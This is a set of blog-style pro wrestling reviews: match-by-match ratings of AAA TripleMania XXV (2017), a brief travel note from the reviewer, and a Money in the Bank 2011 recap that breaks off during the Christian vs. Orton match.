AAA TripleMania XXV: Get Those People A Raise

TripleMania XXV
Date: August 26, 2017
Location: Arena Ciudad de Mexico, Mexico City, Mexico
Commentators: Kevin Gill, Gabe Ramirez

This is of course AAA’s biggest show of the year and heck if I know why someone requested it. Granted it might have been more than a few years ago that someone wanted me to look at it so there is probably something big that stuck out. I have no idea what is going on here but these shows have been hit or miss to say the least. Let’s get to it.

Keep in mind that I don’t follow the promotion so I have no idea what is going on with characters, backstories etc.

A bunch of men, I believe the broadcast team, is introduced.

The ring announcer (one of the four) introduces a bunch of people in costumes. I’m guessing these are sponsor mascots or something? Wrestlers are with them and handing out things to the fans so they’re certainly supposed to be good.

We get some English commentary from Twitch, which confirms that we are still on the preshow here and yes those are sponsor mascots.

La Parka, Faby Apache and Vampiro seem to be judging the first match. Ignore the arena being mostly empty, with almost no noise whatsoever for an almost eerie feeling.

Pre-show: Llave de Gloria: Dragon Solar/Pardux/Solaris/Ashley vs. Hahastary/Bronco Gonzalez/Chicano/Fetiche

This seems to be the finals of some kind of tournament as independent wrestlers are fighting for a contact. It’s a brawl to start with Ashley’s dive being left short on the floor. She’s fine enough to get back in and hit a tilt-a-whirl backbreaker on…someone commentary doesn’t feel the need to identify (which makes me think they don’t know who is who here). Instead they give a basic explanation of rudos vs. technicos as everyone gets in a shot to just about everyone else. Even commentary points out that there is one winner to the whole thing so the team aspect is pretty much worthless.

Ashley dropkicks Chicano (thank goodness for names on the back of gear) down but Chicano elbows her in the face. Solaris comes in for a save with a hurricanrana but gets dropkicked out of the air. Everything breaks down the Chicano team takes Ashley down, including a slingshot powerbomb.

Solar gets in some hurricanranas for a breather and it’s Ashley coming back in to pick up the pace. Solaris and Pardux come in with stereo missile dropkicks and Ashley hits a big dive onto most of her opponents. Fetiche is backdropped onto a pile of people on the floor, followed by a corkscrew dive from Solaris. Back in and Solar rolls up Gonzalez for the pin at 6:40.

Rating: C. This was a VERY weird one as they didn’t bother trying to do anything more than have a big exhibition of spots. Ashley stood out a bit more than anyone else but commentary clearly had NO idea what was going on here or who was who. That makes things all the more confusing, and I spent most of the match trying to figure out their names. Granted there wasn’t anything more here than having a bunch of people trying to get noticed, which only worked well enough.

Pre-Show: Llave de Gloria: Angel Mortal Jr./Tiger Boy/Villano III Jr. vs. Angelikal/The Tigger/El Hijo del Vikingo

Same idea as the first match but three on three and thankfully there are a lot more fans in the building for the entrances. For some reason we start with music in the background as Tigger and Villano get things going (commentary seems a lot more familiar with this batch). They flip around to start and neither can get anything more than a fast one, as you might have expected.

Angelikal comes in to hurricanrana Mortal as the pace stays fast. Angelikal clears the ring by himself before being pulled outside, allowing Vikingo to come in. Vikingo climbs the rope for an anklescissors out of the corner to Tiger. Mortal comes in and launches Vikingo into a hurricanrana to tiger on the floor.

Back in and Villano and company start taking over on Tiger’s arm. A double electric chair missile dropkick hits Angelikal and a springboard Codebreaker into a wheelbarrow suplex gets two. Angelikal is right back up with a hurricanrana, leaving Vikingo and Tigger to hit running flip dives to the floor. Back in and Tigger and company hit a 450/moonsault/shooting star press for the triple pin at 7:33.

Rating: C+. Much like the opener, this was a bunch of people trying to get in as much as they could to showcase themselves. Unlike the opener, this one didn’t have as many people around and it made things that much easier to follow. If nothing else, commentary knowing who they were watching helped just as much. Do this alone instead of both matches and it’s a much better pre-show.

The ring announcer (as translated by Ramirez) welcomes us to the show and pitches the official program. The Spanish broadcast team is introduced (the matching ties are nice) and so is the president of the company.

The National Anthem is played, with a live military band.

The announcer hypes up the crowd about the main event.

The opening video (with the camera just pointed at the screen) looks at TripleManias past, set to Dream On by Aerosmith.

We get some banners of various deceased legends, including company founder Antonio Pena (whose wife, the president, is holding his urn, because that’s not at least a little creepy).

Hernandez/La Hiedra/Mamba/Mini Psycho Clown vs. Big Mami/Dinastia/Estrella Divina/Mascara de Bronce

This is an Atomicos match, which I believe means a man, a woman, an exotico (man dressed as a woman) and a mini. Bronce starts with Clown (not that much shorter) and sends him outside for a good looking step up flip dive. Mami comes in but gets dropped by Hernandez, only to come back with a kiss. Everything breaks down fast and Bronce breaks up Hernandez’s slam attempt on Mami (and he was struggling).

Clown sends Bronce outside for a bit flip dive, followed by a springboard corkscrew dive from Dinastia. Hernandez cuts off Bronce’s dive and powerbombs him onto the pile, followed by Hernandez hitting his own huge dive. Mami dives off the middle rope to crush everyone and it’s time to head back inside. Hernandez and Bronce fight to the back and Clown rolls Dinastia up for two. Dinastia’s standing moonsault gets two, with Mamba making the save. Hiedra gets in a chair shot to Mami though and Mamba steals the pin at 6:56.

Rating: C. This was all over the place and in this case, that’s exactly the point. These things are designed to be pure chaos with everyone going all over the place and it went well enough. The dives were impressive and the fans were into a lot of it, making it a rather fun opener. Just maybe don’t have the villains win to kick off the show?

The ring announcer again polls the fans about the main event.

Reina de Reinas Title: Lady Shani vs. Ayako Hamada vs. Rosemary vs. Sexy Star

Star is defending and this is one fall to a finish. Of note, Rosemary is from Global Force Wrestling, because that was a thing at this point. Rosemary suplexes Star to the floor to start but Shani and Hamada take Rosemary down. Back up and Rosemary slugs away but Star is right back for some shots to everyone. Hamada grabs a chair and takes out Star, only to have Shani kick the chair into Hamada’s face.

Now it’s a trashcan being thrown…well in the vicinity of the ring, as Hamada doesn’t clear the top rope in a bit of an embarrassing miss. Rosemary grabs a full nelson with her legs on Shani and Hamada cranks on one of Shani’s legs for a tap….but that doesn’t count because it’s a double submission so we keep going (I’ve always thought that should be an elimination or something, as it’s hard to fathom tapping to two people not having some kind of consequence.).

Shani is put in a chair and has a trashcan put on top of her but topples over due to unconsciousness. Star comes back in and gets WHACKED with a trashcan lid. She’s fine enough to powerbomb Hamada out of the corner for two, with Rosemary having to make the save. Shani is back up with some kicks to Rosemary, who pulls her into something of a Last Chancery. That’s broken up by Star, who gets Stunnered by Rosemary. Star is able to Iconoclasm Rosemary off the top and grabs a cross armbreaker to retain at 9:57. She takes her sweet time letting go too.

Rating: C-. It was pretty much just a bunch of weapons stuff while commentary praised Sexy Star as being this huge deal. As for the match, there was little to no flow or story to it other than Star making a comeback at the end. Rosemary and Hamada are capable of more and I’ve seen Star be ok. Shani was billed as a hardcore specialist and that was only kind of on display here. It wasn’t horrible, but the ending was out of nowhere and it felt like they were told “go do stuff and then finish it now”.

Oh and one more thing: the armbreaker that Star used on Rosemary wound up being a shoot, legitimately injuring Rosemary and more or less banishing Star to the indies for the rest of her career. Pretty much, no one of note was going to put up with her attacking a wrestler for no valid reason and that was it. The title would be vacated a few weeks later as Star was done with AAA. If a wrestler legitimately attacks someone else in the ring without just cause, I’m not sure what kind of a future they would be expecting to have.

With THAT out of the way, Martha Villalobos, a legend and former champion, comes out to present Star with the belt in a moment I’m sure AAA won’t want to have back immediately.

The ring announcer shills the program.

Vampiro and someone who seems to be a sponsor are here to announce the winners of the Llaves a la Gloria. Third place is Ashley, second is El Hijo del Vikingo and the winner is….Angelikal. As a bonus, Vampiro has the rest of the contestants get inside, where they are told they will be the first group of students at the new AAA school.

Tag Team Titles: Andrew Everett/DJZ vs. Monster Clown/Murder Clown vs. Aerostar/Drago vs. Dark Cuervo/Dark Scoria

Cuervo/Scoria are defending and this is one fall to a finish. The Clowns whip out a belt to start the whipping but Aerostar and Drago take over on DJZ. An assisted tornado DDT gets two on Everett but the champs are back in to double clothesline Drago. Back in and the Clowns get to clean the ring save for Aerostar, who gets whipped with the belt. Aerostar fights back and sends the Clowns outside for the suicide dive.

Cuervo and Scoria hit dives of their own, followed by the rather large Murder Clown hitting his own big flip dive. Back in and Murder Clown gets caught on top with a Tower Of Doom. Aerostar is raised up the lighting grid and then asks to go even higher. We get some near falls but keep cutting up to Aerostar as they keep going up. He finally hits the dive to clear out the pile and three wrestlers run in for a beatdown.

Commentary doesn’t know who they are and they’re ejected just as fast (Apparently they’re El Poder del Norte, a heel stable. Thanks review from someone else, because commentary is rather worthless on this show.). The champs fight back but a third Clown (he has purple hair) comes in to help take them out. Cuervo and Scoria fight back, only to have Marty Martinez (from Lucha Underground) run in and help the Clowns as well. A top rope splash gives Murder the double pin on the champs for the titles at 13:28.

Rating: D+. The huge dive was impressive looking and there were some cool spots, but this was another match where it felt like they weren’t really doing much of anything until the ending when everything went nuts. The Clowns felt like the bigger deal but the whole match felt like a bunch of teams thrown out there for the sake of having a Tag Team Title match. Well that and so Aerostar could do a crazy dive because he seems to be a little nuts.

Post match the Clowns keep up the beating and Marty leaves with the purple haired clown.

We get a speech from the President of the company (the widow of founder Antonio Pena), who talks about wrestlers who have passed away during the TripleMania years.

We get a video on the wrestlers who have passed away. Nothing wrong with something like that.

BUY MERCHANDISE!

Torneo TripleMania XXV

So from what I can tell this is a ten trios (30 people) battle royal with lumberjacks. It also seems that there are teams from different eras to give it a bit of a theme. We’re also doing staggered entrances ala the Royal Rumble (90 second intervals), so it’s Team Ex-AAA (Heavy Metal/Pirata Morgan/Villano IV) in at #1 and Relevos Incredibles (Australian Suicide/Faby Apache/Pimpinela Escarlata) in at #2 to start. It’s a brawl to start as the lumberjacks (with straps) get into it on the floor.

Los OGT’s (Averno/Chessman/Super Fly) are in at #3 and a lot of stomping/near eliminations ensue. Granted I’m not completely sure who is almost out as, again, commentary seems to have no idea who is who, but why let that stop you? Los Vipers (Histeria/Maniaco/Psicosis), who even I’ve heard of, are in at #4 and Psicosis has a huge snake around his neck. The Vipers start cleaning house as I don’t believe anyone has been eliminated yet. Los Guapos (Decnis/Scorpio Jr./Zumbido) are in at #5 as this is rather hard to keep track of, a statement commentary makes as well.

A high crossbody completely misses for I believe Histeria and Los Perros del Mal (Halloween/Joe Lider/Mr. Aguila) are in at #6. We get some rapid fire pinfalls (no names mentioned and no word on if those individuals or their teams are out) and the Mexican Powers (Crazy Boy/Lanzelot/Nina Hamburguesa) are in at #7. They get to clean house for a bit, including the nearly 400lb Nino coming off the top with a missed Swanton, until La Parka y sus Amigos (La Parka/Argenis/Bengala) are in at #8.

As they come to the ring, everyone gets on Nino for the pin, followed by Los Vipers getting to clean some house. Los Leyendas (Blue Demon Jr./El Cobrade/El Intocable, the Legends) are in at #9 and get to clean more house. Team GFW (Moose/Bobby Lashley/Jeff Jarrett) are in at #10 to complete the field….or at least they should be, as it’s just Lashley on his own.

Lashley gets to wreck some people on the grounds of he’s Bobby Lashley, but the clock starts counting down again. Commentary is confused (it’s not that hard) and it gets even worse when no one comes out. Moose comes out on his own and just kind of stands around awkwardly, which isn’t his style.

Jarrett finally comes out and…..yeah there’s no way around it: Jarrett was very out of it (quite possibly drunk) at this show, to the point where he can barely get down the steps to the ring. To his credit, he would take time away from the ring shortly after this (and at least one other incident) and reportedly got clean, so good for him for dealing with his problems. As for tonight though, Jarrett takes FOREVER to get to the ring, as he is throwing tortillas to the crowd, which isn’t going well whatsoever. For some reason Moose and Lashley are fighting each other on the floor as Jarrett gets inside. Jarrett punches a bunch of people and kicks Parka low, leaving him the only one standing.

Parka finally gets up and slugs it out with Jarrett as we actually have something resembling a match for a second. A DDT plants Jarrett for the pin (POP) and we pause for Parka’s music, even though the match isn’t over. Commentary isn’t sure what is going on (shocking) as Jarrett is yelling at fans. The rest of the OGT’s clear house and go for Parka’s mask….until Chessman shoves Super Fly (his partner) off the top and out. So we’re down to Chessman, Averno and Parka, but Averno hits Chessman (again, his partner) low for a pin. Then Parka small packages Averno for the final pin (thank goodness) at 26:41.

Rating: F. I spent the better part of half an hour watching this and I have no idea what was going on. The problem is that commentary didn’t seem to either, to the point where there might have been five names mentioned here, with most of them being Team GFW. I’m sure this was about getting Parka a moment and having a bunch of names in there, but it’s a case where if you aren’t already a fan, this isn’t going to make things better. The fact that the only reason I knew most of the names was the show’s Wikipedia didn’t help, but it isn’t like there was commentary or a graphic to tell me who was involved.

On top of that, it was a terrible battle royal, where the rules weren’t clear, some people (Lashley/Moose) just left, I had no idea who was eliminated (or how to eliminate someone for that matter) and nothing was clear in the slightest. You can do something like this with the Gimmick Battle Royal, but that was about four minutes, not almost twenty seven (longest of the show so far). Absolutely horrible here and one of the worst matches I’ve seen in a very long time for more reasons that I can count (ok I can count them but I don’t want to waste any more time on this mess).

Post match La Parka, Bengala and Argenis get a belt, with Parka getting all of the glory.

El Mesias vs. Pagano

Street fight and they start in the aisle (as commentary didn’t seem to think this match was scheduled next) with Mesias knocking him into the ring. Pagano scores with a spinwheel kick, as commentary is surprised he included a wrestling move. A springboard bulldog drops Mesias again but he’s back with a shot to the face. Back up and Pagano knocks him into the corner, only to get sent outside.

Mesias gets in some chair shots as we get at least the third arena wide shot of the match (about five minutes in). The beating goes around the ring, with Mesias sending him into a trashcan. They go up the aisle with Mesias getting a suplex but having a beer thrown into his face. Back to the ring they go, with some barbed wire being brought in because of course it is. Pagano gets the better of a slugout and runs him over, setting up a Russian legsweep.

Mesias is knocked outside so Pagano hits a running flip dive, followed by a hanging piledriver back inside. And now the barbed wire, which Pagano puts in front of his chest on a missed moonsault. Pagano is back with a Regal Roll into a Lionsault, which has commentary questioning the impact of the barbed wire. Mesias is knocked outside for an apron dropkick as things slow down.

They get back inside with Mesias whipping out a barbed wire bat, which is kicked away. The fans are rather displeased as Mesias hits a faceplant onto the bat. Back up and Pagano gets in a bat shot to Mesias’ knee….which is enough to warrant a referee stoppage at 16:40, because I guess just covering Mesias was out of the question?

Rating: D. This was slow, plodding, didn’t get overly violent until near the ending and then had a dumb finish on top of that. If Mesias is hurt then it’s understandable, but it was his leg. Have Pagano cover him for a fast pin instead of just stopping everything cold in a street fight. Other than that, this just wasn’t good and both guys appeared to be moving in slow motion for a lot of it. If you want this to be some violent match then go there rather than do something this lame.

Post match Rey Escorpion, in street clothes, comes in to deck Pagano and then go after Mesias, who is on a stretcher.

AAA World Title/AAA Latin American Title/AAA Cruiserweight Title: Johnny Mundo vs. El Hijo del Fantasma vs. Texano Jr.

Mundo (John Morrison/etc) is defending, comes out to Born In The USA, and this is a ladder match. Fantasma would go on to become known as Santos Escobar while Texano would go on to continue to be known as Texano Jr. The challengers chop it out to start and Mundo gets knocked down for trying to bring in some weapons. Texano grabs a chair to blast Fantasma and starts ripping at the mask, allowing Mundo to add a top rope elbow.

Mundo dropkicks a ladder into Texano and superkicks Fantasma for a bonus. A pair of tables are set up at ringside but everyone realizes that there are belts to grab and go for the ladder. Texano clears the ring, leaving Fantasma to load a table against the barricade. Mundo dropkicks Texano off the top but gets knocked off a ladder (which was nowhere near high enough anyway as the belts are WAY up there). Fantasma hits his great dive into Texano into (but not through) the leaning table.

Texano is back up and sends Fantasma through the table, followed by a Swanton onto Fantasma onto the broken table. With Fantasma VERY busted open, Mundo goes up but gets pulled down by Texano. Mundo bridges a ladder on the middle rope but takes too long posing, allowing Fantasma to dropkick him down. Fantasma drops Texano onto the bridged ladder, seemingly busting him open too.

The ladder is set in the middle as the belts come down a bit. Mundo’s climb takes too long as well and Texano shoves the ladder over, sending Mundo down and onto (not through) a table at ringside. Fantasma dives over a ladder bridged into a standing one to forearm Texano, only to get knocked into the ladder. More tables are set up in the ring, with Fantasma backdropping Texano onto the bridged ladder for a nasty crash.

Cue Kevin Kross (Karrion Kross, Mundo’s lackey) to make the save but Mascara de Bronce comes out to stop Kross, who was climbing for some reason. Now it’s Hernandez (another Mundo lackey, or stooge as commentary puts it) to get knocked outside as well, leaving Bronce to hit a heck of a springboard moonsault to take him down.

Kross chokeslams Bronce onto the apron but Fantasma takes him down. Mundo ladders Fantasma in the face but all three wind up climbing. Fantasma knocks Texano down for a big crash, leaving Mundo to get in a low blow to drop Fantasma as well. All three belts are pulled down and Mundo retains at 22:49.

Rating: B. It wasn’t a classic or anything but for a triple threat ladder match with a bunch of interference, this could have been a lot worse. Mundo feels like a star and has the gold to prove it while the other two felt like they had him multiple times, only to come up short. Maybe it was everything else being so bad/horrible, but I had a good time with this one as Mundo feels like a much bigger deal here than in WWE.

Post match Mundo brags about his win and calls out…Vampiro. Mundo throws down the title and here is Vampiro to interrupt. Vampiro won’t look at him, as Mundo demands that Vampiro put the belt on him. Mundo yells at him, spits at him and shoves him, which is finally enough for Vampiro to grab a chokeslam. With Mundo on the floor, Vampiro threatens violence before leaving as well.

With everyone else gone, Fantasma and Texano trade chair shots to the head and both are left laying. Well that was cringe inducing.

Video on Dr. Wagner Jr. vs. Psycho Clown, both of whom have been training rather hard. They don’t seem to like each other.

Dr. Wagner Jr. vs. Psycho Clown

Mask vs. Mask and this is billed as the biggest lucha match of the decade. Hold on though as a woman has to sing the National Anthem before we’re ready to go. We’re ready to go and Clown misses a dropkick, allowing Wagner to clothesline away as commentary isn’t sure how many falls this is (it’s one). Wagner chokes away in the corner before they go outside, with the brawl heading into the crowd.

Back in and Psycho hits a spinwheel kick as the fans aren’t sure who they like here. Wagner ties him up on the mat but Psycho is right next to the ropes. We get the expected mask ripping before Wagner hits him in the head with the chair. Psycho is busted open so Wagner enjoys some of it on his hand. There’s another chair shot to knock Clown even sillier, as commentary wonders what happens if you rip off a mask in a mask vs. mask match.

They head outside with Wagner slowly beating on Psycho, who can barely stagger away. Clown gets knocked up and back down the apron but manages to make a comeback with some clotheslines back inside. Clown knocks him outside and hits the dive but the running flip dive only hits mat (instead of Wagner’s son, who is ringside as well). Back in and Clown rips at Wagner’s mask for a change before whacking him in the face with a chair.

A hanging DDT gets Wagner out of trouble for two. Clown gets a quick rollup for two, with commentary pointing out how slow the referee has been to get into position (Jesse Ventura would not approve). Wagner knocks him outside and hits the big flipping dive, setting up a Samoan drop into the fans.

Back in and a top rope superplex gives Wagner two, followed by Clown’s Samoan drop getting the same. Wagner shrugs off a kick to the face though and hits the Wagner (Michinoku) Driver for two more. Another Wagner Driver gets another near fall and the fans are rather interested. Clown grabs a superplex of his own into a Backstabber and a Code Red gives him the pin at 28:40.

Rating: B+. What mattered here is it felt like a struggle as these two did not want to lose everything. It made the match feel that much more important and I don’t think anything else could have come close to headlining. Clown is someone who has felt like a star every time I’ve seen him, but Wagner has always felt like a legend. The ending felt like a very big deal and that is how you want your main event to go. The action was more than good enough, but the atmosphere made it feel that much bigger.

We get the big ceremony of the unmasking, but first Wagner has to announce his real name (Juan Manuel Gonzalez Barron) and hometown (Torreon). He praises Clown and talks about being a legend, before unmasking and thanking Clown. There are kids crying in the crowd as Wagner huddles with his family. As Wagner and company leave, Clown stops him to say it was an honor and praise Wagner. Clown celebrates and we get a highlight package of the main event to end the show.

There really isn’t a translation to this kind of thing in America, but egads it comes off like the biggest deal in the world in a situation like this. Wagner is a legend and now everything about him has changed because of one match. That’s a pretty major deal and they treated it as such with the post match time.

Overall Rating: D+. The last two matches are very good and they bring the show up about as high as it can go. The problem is that everything before that was an absolute disaster with one of the weakest stretches I’ve ever seen as there wasn’t a good match to be seen in the first two or so hours of the show show. I’m not sure what went wrong, but if this show didn’t have the two main events, this could have been an all time disaster. As it is, it’s WAY too long and not good, but at least it could have been worse (barely).

 

 

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Greetings From Chicago

I made the flight up here for the four Survivor Series weekend shows and since it’s a twelve minute walk from the hotel, I should be back pretty fast every night.  The WiFi here is pretty spotty at best though so I’m not sure how fast I’ll be able to put things up.  Please bare with me though as I’ll be back home Tuesday afternoon and things will be back to normal.

 

KB




On This Day: July 17, 2011 – Money in the Bank 2011: Cena and Punk’s Masterpiece

Money in the Bank 2011
Date: July 17, 2011
Location: Allstate Arena, Rosemont, Illinois
Commentators: Michael Cole, Booker T, Jerry Lawler

It’s Money in the Bank and I’m rather clueless as to who is going to win three of the four main matches. The MITB matches themselves are total tossups and the Punk vs. Cena match could go a bunch of ways. It’ll definitely be interesting and will set the stage for at least the next few months worth of shows, if nothing else due to the MITB cases, assuming one isn’t cashed in tonight. Let’s get to it.

Opening video is of course mainly about Punk vs. Cena, which to be fair is by far and away the biggest match on the card.

Sin Cara vs. Justin Gabriel vs. Heath Slater vs. Sheamus vs. Cody Rhodes vs. Wade Barrett vs. Kane vs. Daniel Bryan

 

This is going to be a big insane match so it’s almost impossible to call what’s going on in these things. I’m really not sure who to predict in this. I went with Cody as a more or less random choice mainly out of a lack of anyone else. Big mess to start as these really should only have six people in them. Kane, Barrett and Sheamus clear the ring out and it’s a three way staredown.

The Europeans….wait Kane is from Spain. Ok the two guys not named Kane go down and it’s ladder time already. Bryan dropkicks Kane down as Slater and Gabriel team up a bit. Cara, who is in white/gray here, gets taken down but the former tag partners fight already. Slater goes for the ladder and is loudly booed. Gabriel goes up but the ladder is way off center. Bryan dropkicks him off but Cody goes up.

Kane sends Sheamus and Cody to the floor but Barrett stops the Big Bald. Kane throws a ladder at Sheamus to take him down. Slater vs. Kane and guess who wins that one. Cara pops up out of nowhere to drill Kane and break up the clothesline. Bryan hits a big dive and Gabriel does the same. Sorry for all the play by play stuff but it’s all you can do in these things for the most part.

Cara is like screw you guys I’m the flier here and takes out Sheamus with a huge one. He follows that up by kicking Bryan in the head and hitting the top rope C4 to take Bryan down. Sin tries to go for the briefcase but can’t pick a ladder up and into the ring. Barrett kicks his head off so it doesn’t matter. They do the whole set up a ladder as a bridge from the ring to the table thing as is customary.

Cara avoids going through it though and Barrett clotheslines the post. For some reason the masked guy goes in again without a ladder and gets his head kicked off by Sheamus. Not a good night for the Mexican dude. Cara gets powerbombed through the ladder to more or less kill him. BIG pop for Sheamus for that one. Sheamus is controlling almost everyone here as Cara is taken out on a stretcher.

Kane and Sheamus are in the ring and fighting over a ladder. Scratch that as all three go to the floor. Bryan, Kane and Cody are all in the ring with ladders now. The small guys work together to take Kane down and there goes that partnership. Cara is gone now, as in out of the entire arena via a stretcher. Kane has the big ladder set up in the ring and everyone comes in. Cody makes an attempt but all the small guys make a save.

The former Nexus triple teams Bryan and then the tag team tells Barrett to go ahead. Barrett proves why British wrestlers are stupid as he goes up and is pulled down just a few seconds later. Both of them go up but Rhodes shoves the ladder down. Cross Rhodes takes someone down and it’s time for Barrett and Rhodes to fight over the ladder. Cross Rhodes takes Barrett out but Sheamus makes the last second save.

There’s an Irish Curse and pasty goes up, only for Bryan to make the save. Bryan rams him into the ladder a few times and goes up at the same time. Sheamus and Kane combine for a Doomsday Device to END Bryan. Kane and Sheamus are alone in the ring now. Well other than a ladder but that doesn’t count I don’t think. The big ladder is in the ring and a regular one is set up as a bridge against the middle buckle.

Kane escapes though and chokeslams various small people. Big Bald goes up but Bryan makes ANOTHER save despite being legally deceased I believe. Bryan goes up and almost gets the LeBell Lock on the ladder. That would be awesome. Bryan manages to knock Kane to the floor but Slater stops him. Bryan saves AGAIN as he’s been insane so far tonight.

Slater goes up one more time but Barrett saves. Time for Barrett vs. Sheamus which doesn’t sound all that appealing. Thankfully they team up and stop Slater, using a ladder like a fork to stop Slater and shove him off the top. That was cool. Sheamus goes nuts and takes out a lot of people so he can climb. Naturally he’s not that smart so he sets up another ladder on the top rope.

Sheamus is just beating people up at the moment and not really trying to go after it. Even Booker is saying GO FOR IT. Ok now he’s going up but Kane pops up from nowhere to stop him. Sheamus has a bridge ladder beneath him. He goes onto it but doesn’t break it. FREAKING OW MAN! Wasteland hits Kane and Gabriel climbs a ladder and hits 450 in the tightest space possible. That was AWESOME.

Bryan and Cody go at it on the ladder as everyone but Barrett is down. Wade comes up as Bryan tries to choke Cody out because he’s an idiot. Cody goes down and Wade takes an elbow to knock him backwards a bit. Bryan is alone up there and Wade is on the bridge. Bryan kicks him down and WINS THE CASE! Totally didn’t see that one coming.

Rating: A. I liked the storytelling aspect of this as Bryan was the MVP of this thing. He made a ton of saves and certainly deserved to win it in the end. The spots in this were great and Cara going out might have been due to prevent him from botching something major, which says a lot. I’m not sure I can see Bryan winning a title but stranger things have happened. GREAT match though.

Vince is here. Hokey smoke that’s Johnny Ace with him.

Apparently Punk hasn’t signed yet but is in a meeting for a last second negotiation.

Divas Title: Kelly Kelly vs. Brie Bella

 

Booker says he never dressed like his brother in Harlem Heat. Is his memory failing or something? No idea what you want me to say here. They’re both hot, they’re both inept, the match is slightly longer than a regular match they have on Raw. Kelly is champion in case you’re reading this like three years from now. It’s a totally boring match and it’s a total food break for the crowd. Oh and Eve is with Kelly at ringside here. Crowd is dead here. K2 ends this at like four minutes. Total filler and it knows it.

 

Rating: D. What do you want me to say here? This match was nothing but the girls looked good so I can’t call it a failure. The division is horrible since Kharma got pregnant and Laycool went down at the same time. Not a horrible match but just an extended Raw thing really. It served its purpose though I guess.

 

Summerslam ad. It’s in the summer you know. Eh Divas in bikinis is never a bad thing.

We recap Henry vs. Show. They’re both big, they’re both strong, they both hurt people. Yeah that’s about it.

Mark Henry vs. Big Show

 

Henry is in blue here. They slug it out to start and Show JUMPS at him with a shoulder block to take Mark down. Out to the floor early and Show loads up a chokeslam through the table but Henry breaks it up. Show shoves him over the steps and the bald one is in control. Scratch that as Henry sends him into the steps and Show goes back in. Henry goes for the knee with a chop block and Show is in trouble.

Boot to the head gets two. Half crab goes on which makes sense for once. Henry? Psychology? What’s in this lemonade I’m drinking? Show grabs a rope and manages to kick Henry off which looked rather cool. Splash/running clothesline hits Show in the corner and Henry is all angry and such. Show GOES UP and hits a shoulder block off the middle rope but he hurts his knee again.

Both guys are down now and the count gets like three. Show loads up the chokeslam but Henry kicks him in the knee to break it up. World’s Strongest Slam but it only gets two. Dang I would have thought that was the ending. Another World’s Strongest Slam and a pair of splashes and Show is finally done.

Rating: C+. Call me crazy but I liked it. They were going at it out there and more importantly than anything else, it was short. That’s a very key thing to this match and it made things work a lot better overall. Henry’s push probably won’t go anywhere (at least I hope not) but a win like this is perfectly fine.

Post match Henry Pillmanizes Show’s leg with a Vader Bomb. Show goes out on a stretcher saying it’s broken to fill in some time.

Vince is saying this is a nightmare as Josh comes in to ask if Punk has re-signed. He hasn’t apparently but Vince offered him a huge contract. Vince talks for a bit and ultimately says if Punk leaves with the title, may God have mercy on Cena’s soul.

Alberto Del Rio vs. Kofi Kingston vs. Jack Swagger vs. Evan Bourne vs. R-Truth vs. Alex Riley vs. The Miz vs. Rey Mysterio

 

Everyone grabs a mini ladder as they come into the ring. Rey comes out last and gets almost ZERO reaction. Everyone has a ladder and they surround Del Rio, beating him down rather easily. Booker picks Evan Bourne which Lawler is surprised at. Some of the guys are out of the ring now and Swagger is thrown out for the second time. Truth and Miz have a stand off and duel a bit.

Swagger takes them both out because that’s just smart. He sets up a ladder but Kofi and Bourne run in at the same time for an attempt to go up. Now they team up and take out some heels. Rey gets a rana to take Swagger to the floor again and Truth takes Kofi out. Riley crotches him on a ladder and is the only one standing. Miz comes in for the save but all the ladders are too short anyway so it’s not like it matters.

Riley dives over the top and takes out Swagger and Miz in a nice spot. Truth dives over to take out all three of them. Kofi and Rey do a double dive to take all of them out. Bourne goes up and everyone gasps. SHOOTING STAR PRESS ONTO ALL FIVE GUYS!!! Bourne goes up a big ladder but Miz makes the save. Bourne gets a hand on it but so does Miz. Del Rio pops up and shoves it down as Miz may have hurt his knee.

He landed on it coming down and may have jammed it. I think it’s worked but it doesn’t look right AT ALL. This might be legit actually. Miz is carried out but can’t seem to put any weight on the knee. I think he might be actually hurt if the visual is any sign of it. Truth and Del Rio are both climbed over (literally) by Rey and Bourne. The faces hit stereo ranas to take out the heels. That looked SWEET.

Swagger is all alone but Kofi is like screw that and jumps over him onto the ladder. Swagger puts an ankle lock on him instead and Riley tries to steal the case but fails. Rey vs. Truth at the moment with Rey taking a ladder to the ribs. He climbs onto a ladder but falls onto it face first. Kofi goes up and uses a ladder as a step down for a Boom Drop onto Truth. Booker of course criticizes him for dancing too much.

This match is a lot more choreographed and you can tell it a lot. Truth messes up a see-saw spot to Swagger. Good thing Swagger was nice enough to sit there and let Truth do it again. Rey and Riley slug it out on the ladder but Bourne and Del Rio get ladders of their own. Down goes Alberto and Rey has his hand on it. All seven guys are on ladders in what looks like a clothed orgy, which kind of defeats the purpose but you get the idea.

Down goes Del Rio and there goes Jack too. Bourne is tossed but the other four are all there still. Truth goes down and Kofi gets a swinging kick to knock Rey off. He’s all alone but Swagger makes a last second stop. They both fall and it looked VERY bad as Kofi’s knee landed on Swagger’s throat. HERE’S MIZ! He literally hops down the aisle on one leg but Rey stops (to huge booing).

Rey and Del Rio fight a bit but down goes Del Rio. Never mind as he’s coming back up again. Briefcase to Alberto’s head but Rey still can’t get it. REY’S MASK IS OFF! Everything falls down and Rey has to cover his face. Alberto goes up as Rey is all terrified. Alberto is all alone and it’s over. Didn’t see that one coming.

Rating: B. Good, but nowhere near as good as the SD one. The spots here were awesome to say the least but the sloppiness hurt it a good bit. Miz coming back in was great and an awesome false finish. Rey losing his mask was rather surprising and I’m seriously wondering how badly hurt Swagger is because that didn’t look like a planned fall at all. Messy but fun, which is about par for the course in MITB to be honest.

You get a relatively clear shot of Rey’s face during the highlight package.

 

We recap Christian vs. Orton, which is more or less Christian can’t beat Orton and turned heel because his initial title loss to him was unfair. If Orton gets disqualified or if there’s a “bad decision”, Orton loses the title.

Del Rio says he shouldn’t have had to win but this is his destiny.

Smackdown World Title: Christian vs. Randy Orton

 

After some big match intros we’re ready to go. Christian shows off some nice psychology as he throws a chair in immediately and tries to get Orton to snap. The chair goes to the floor and Orton takes over with relative ease. The crowd is totally behind Christian here. Out to the floor with Orton in control but Christian takes over back inside. These two have had some very good matches so this should be awesome.

They slug it out a bit with Christian mostly in control. Orton grabs a rollup for two. Killswitch doesn’t work and they clothesline each other to the floor. Back in and Christian jumps over him and blocks an RKO. Jackknife cover gets two for Randy. There’s the Thesz Press as the fans aren’t pleased. Elevated DDT doesn’t work but Christian tries his spinning dive out of the corner, only to jump into a dropkick to the ribs.

Christian takes over again as he’s done a lot in this match. Top rope headbutt gets two. Killswitch hits out of almost nowhere but Orton gets out at 2.999. Even the crowd is into this now. Christian loads up a spear but he hits the post instead. Orton puts Christian in that over the shoulder backbreaker into the neckbreaker (LOVE that move) for two. He sets for the Punt but Christian moves. Randy settles for the powerslam instead.

